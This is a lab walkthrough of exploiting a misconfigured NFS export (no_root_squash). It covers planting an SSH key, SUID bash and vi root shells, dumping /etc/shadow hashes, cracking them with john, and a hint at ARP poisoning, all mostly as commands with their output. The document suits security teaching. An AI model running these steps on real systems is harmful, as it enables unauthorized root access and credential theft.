Exploiting NFS Share
Table of Contents
Overview of NFS #
Network File System (NFS) lets you share filesytem over a network. Clients have to mount the filesystem and access the remote data in the same way they are accessed locally.
Setting up NFS with (no_root_squash) #
I’ll be using a debian based distro called antiX for the NFS server. Install nfs-common
, and nfs-kernel-server
on your server:
apt install nfs-common nfs-kernel-server
Make sure nfs-common
is also installed on your client.
NFS Configuration #
I will create a new user called tom, and use his home directory for sharing. Modify /etc/exports
and add the following entry to make it accessible:
/home/tom (rw,no_root_squash)
The above entry tells nfs to allow the root user on the client to access files with read/write permissions. Restart the service:
root@antix:~# service nfs-kernel-server restart
[ ok ] Stopping NFS kernel daemon: mountd nfsd.
[ ok ] Unexporting directories for NFS kernel daemon....
[....] Exporting directories for NFS kernel daemon...exportfs: No host name given with /home/tom (rw,no_root_squash), suggest *(rw,no_root_squash) to avoid warning
exportfs: /etc/exports [1]: Neither 'subtree_check' or 'no_subtree_check' specified for export "*:/home/tom".
Assuming default behaviour ('no_subtree_check').
NOTE: this default has changed since nfs-utils version 1.0.x
. ok
[ ok ] Starting NFS kernel daemon: nfsd mountd.
The above output say no host name was given with /home/tom
. Which means every host on the network will have access. Run man 5 exports
to see what other options are available.
Mounting the filesystem on my client #
Mounting NFS is the same as mounting a filesystem on Unix. The only difference is you have to specify the remote host:
root@kavishgr:~# mount 192.168.100.39:/home/tom /mnt/nfs/
It’s mounted on /mnt/nfs:
root@kavishgr:~# df -h | grep nfs
192.168.100.39:/home/tom 18G 2.5G 15G 15% /mnt/nfs
root@kavishgr:~#
root@kavishgr:~# mount | grep nfs
192.168.100.39:/home/tom on /mnt/nfs type nfs4 (rw,relatime,vers=4.2,rsize=65536,wsize=65536,namlen=255,hard,proto=tcp,timeo=600,retrans=2,sec=sys,clientaddr=192.168.100.30,local_lock=none,addr=192.168.100.39)
How to Discover an NFS Service #
There’s a utility called showmount
that queries the mount daemon on a remote host to gather information about the state of the NFS server.
root@kavishgr:~# showmount -e 192.168.100.39
Export list for 192.168.100.39:
/home/tom *
All machine on the network is allowed to mount the /home/tom
folder. If there’s a specific IP or range of IPs next to the directory, that means only those machines are allowed to mount the directory. Always follow good security practice.
Let’s list the directory contents:
root@kavishgr:/mnt/nfs# ls -a
. .bashrc .desktop-session .foxrc .gtkrc-2.0 .jwmrc .nanorc .smbnetfs.conf
.. .config .dillo .gconf .gtkrc-2.0.mine .local .newsboat .ssh
.bash_history .conkyrc .fehbg .gexec .icewm .mcthemes .profile .xmms
.bash_logout .conkyrc-lua .fluxbox .gtkrc .jwm myfile.txt .smb.conf .Xresources
The .ssh
directory is interesting. The directory was configured to allow root, hence no_root_squash
. If we get access to the machine, a privesc will be possible.
Since .ssh
is in /home/tom
and write access is enabled, I can append my public key to tom’s authorized_keys file. First let’s make sure if publickey is enabled:
root@kavishgr:/mnt/nfs# ssh 192.168.100.39
The authenticity of host '192.168.100.39 (192.168.100.39)' can't be established.
ECDSA key fingerprint is SHA256:mL7DbMhvrpn+9+H8UU0HNKL3dkBiAyS4TI0Trt0pb00.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.100.39' (ECDSA) to the list of known hosts.
root@192.168.100.39's password:
Permission denied, please try again.
root@192.168.100.39's password:
Permission denied, please try again.
root@192.168.100.39's password:
root@192.168.100.39: Permission denied (publickey,password).
Great. Let’s append the our publickey:
root@kavishgr:/mnt/nfs# cat ~/.ssh/id_rsa.pub >> .ssh/authorized_keys
Now we should be able to ssh into the target. But first let’s craft a local exploit in NFS:
root@kavishgr:/mnt/nfs# cp /bin/bash . ; chmod +s bash
root@kavishgr:/mnt/nfs# ls -l bash
-rwsr-sr-x 1 root root 1168776 Oct 18 21:47 bash
I kept it simple. I made a copy of /bin/bash
, and gave it the suid
permission as root:
Getting a root shell #
Now, we should be able to ssh into the machine as tom:
root@kavishgr:/mnt/nfs# ssh tom@192.168.100.39
Enter passphrase for key '/root/.ssh/id_rsa':
Linux antix 4.9.160-antix.2-486-smp #1 SMP Wed Feb 27 14:42:39 EET 2019 i686
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
$ bash -p
tom@antix:~
$
Enter you passphrase if have to, and run bash -p
if an interactive shell is not available by default. I ran into a problem while executing the /bin/bash i copied earlier:
tom@antix:~
$ ./bash
bash: ./bash: cannot execute binary file: Exec format error
The /bin/bash from my machine is 64-bit version, and antiX is a 32-bit machine. I got around it:
tom@antix:~
$ whoami
tom
tom@antix:~
$
tom@antix:~
$
tom@antix:~
$ ./bash -p
bash-4.4# whoami; id
root
uid=1001(tom) gid=1001(tom) euid=0(root) egid=0(root) groups=0(root),1001(tom)
bash-4.4#
You’re root.
Another way to achieve this, is to copy the private and public key from the NFS share to your attacking machine. Run eval `ssh-agent
to run the agent in the current shell or ssh-agent bash
, then ssh-add
to add the identity in the running agent. Now you should be able to ssh into the machine(assuming there’s no passphrase set).
Getting root with Nano/vi #
Make a copy of Nano
or Vi
in the NFS Share, and enable suid permission:
root@kavishgr:/mnt/nfs# chmod 4777 nano vi
root@kavishgr:/mnt/nfs# ls -l nano vi
-rwsrwxrwx 1 root root 264620 Oct 24 13:22 nano
-rwsrwxrwx 1 root root 1111392 Oct 24 13:22 vi
Now we can log into the machine via ssh, and edit sensitive files like /etc/passwd
or /etc/shadow
. A shell can also be spawn from vi
. Type :!/bin/sh
:
# bash -p
bash-4.4# whoami
root
bash-4.4# id
uid=1001(tom) gid=1001(tom) euid=0(root) groups=1001(tom)
bash-4.4#
Or run vi -c ':!/bin/sh' /dev/null
:
tom@antix:~
$ ./vi -c ':!/bin/sh' /dev/null
# id;whoami
uid=1001(tom) gid=1001(tom) euid=0(root) groups=1001(tom)
root
#
To avoid suspicion, we can just view the /etc/shadow
file and retrieve password hashes. Two ways to do this:
- Get a root shell from
./vi
, and copy the hashes - or run
./nano -p /etc/shadow
The main goal is to exploit NFS through a misconfiguration. In this case, we can access it as root. If root_squash
was enabled, we would have accessed as the anonymous
user. What you do after that, depends on binaries that can found on the system. It doesn’t neccesary have to be vi
or nano
. This is just for demonstration purposes.
If NFS was configured to be shared with a range of IPs, and you’re on the same network, try arp cache poisoning
. Sometimes you can get access but you won’t be able to view any files not owned by you. In this case create a user with same uid/gid as the owner of the files that can’t be viewed, and see if that works.
Since we talked about hashes, let’s get cracking. I got the hash of root
, tom
and kavish
:
bash-4.4# cat /etc/shadow | cut -d ':' -f 1-2 | grep -v '*' | tee hashes.txt
root:$6$ZT6CssAU$wmdap/nyK1KPJiTHaVQp5sFvBweMh/sdOdd8iJKc5OJYxNvHki3oQ4v5wHLia00e7nXhkdGgun3FxvIlz/whU.
kavish:$6$V65ZWIB7$TeiNQYKlJtUiOE5A7w3byzexqTzvsuRYm.W9BP3VJJeNH93Wqw3FIuUxiHtWphNeY2hUpqY35QTGKGnhHTDAR1
tom:$6$suAbRsBW$CLzxWfpfG2dRelmEaa09..jVOMJryJRCNNzwsG2efjO9eo/VD9US5zJzxJYzkhayWTLnWNlehlAS8HKqW3K3i/
The password hash format is as follows: $id$salt$hashed. The $id represent the algorithm. In this case, it’s $6$
.
Other types:
- $1$ is MD5
- $2a$ is Blowfish
- $2y$ is Blowfish
- $5$ is SHA-256
- $6$ is SHA-512
I saved it in hashes.txt
, and run john
on it:
john hashes.txt | tee cracked.txt
I stopped it midway, and run:
root@kavishgr:/mnt/nfs# john --show hashes.txt
kavish:kavish
1 password hash cracked, 2 left
Have fun.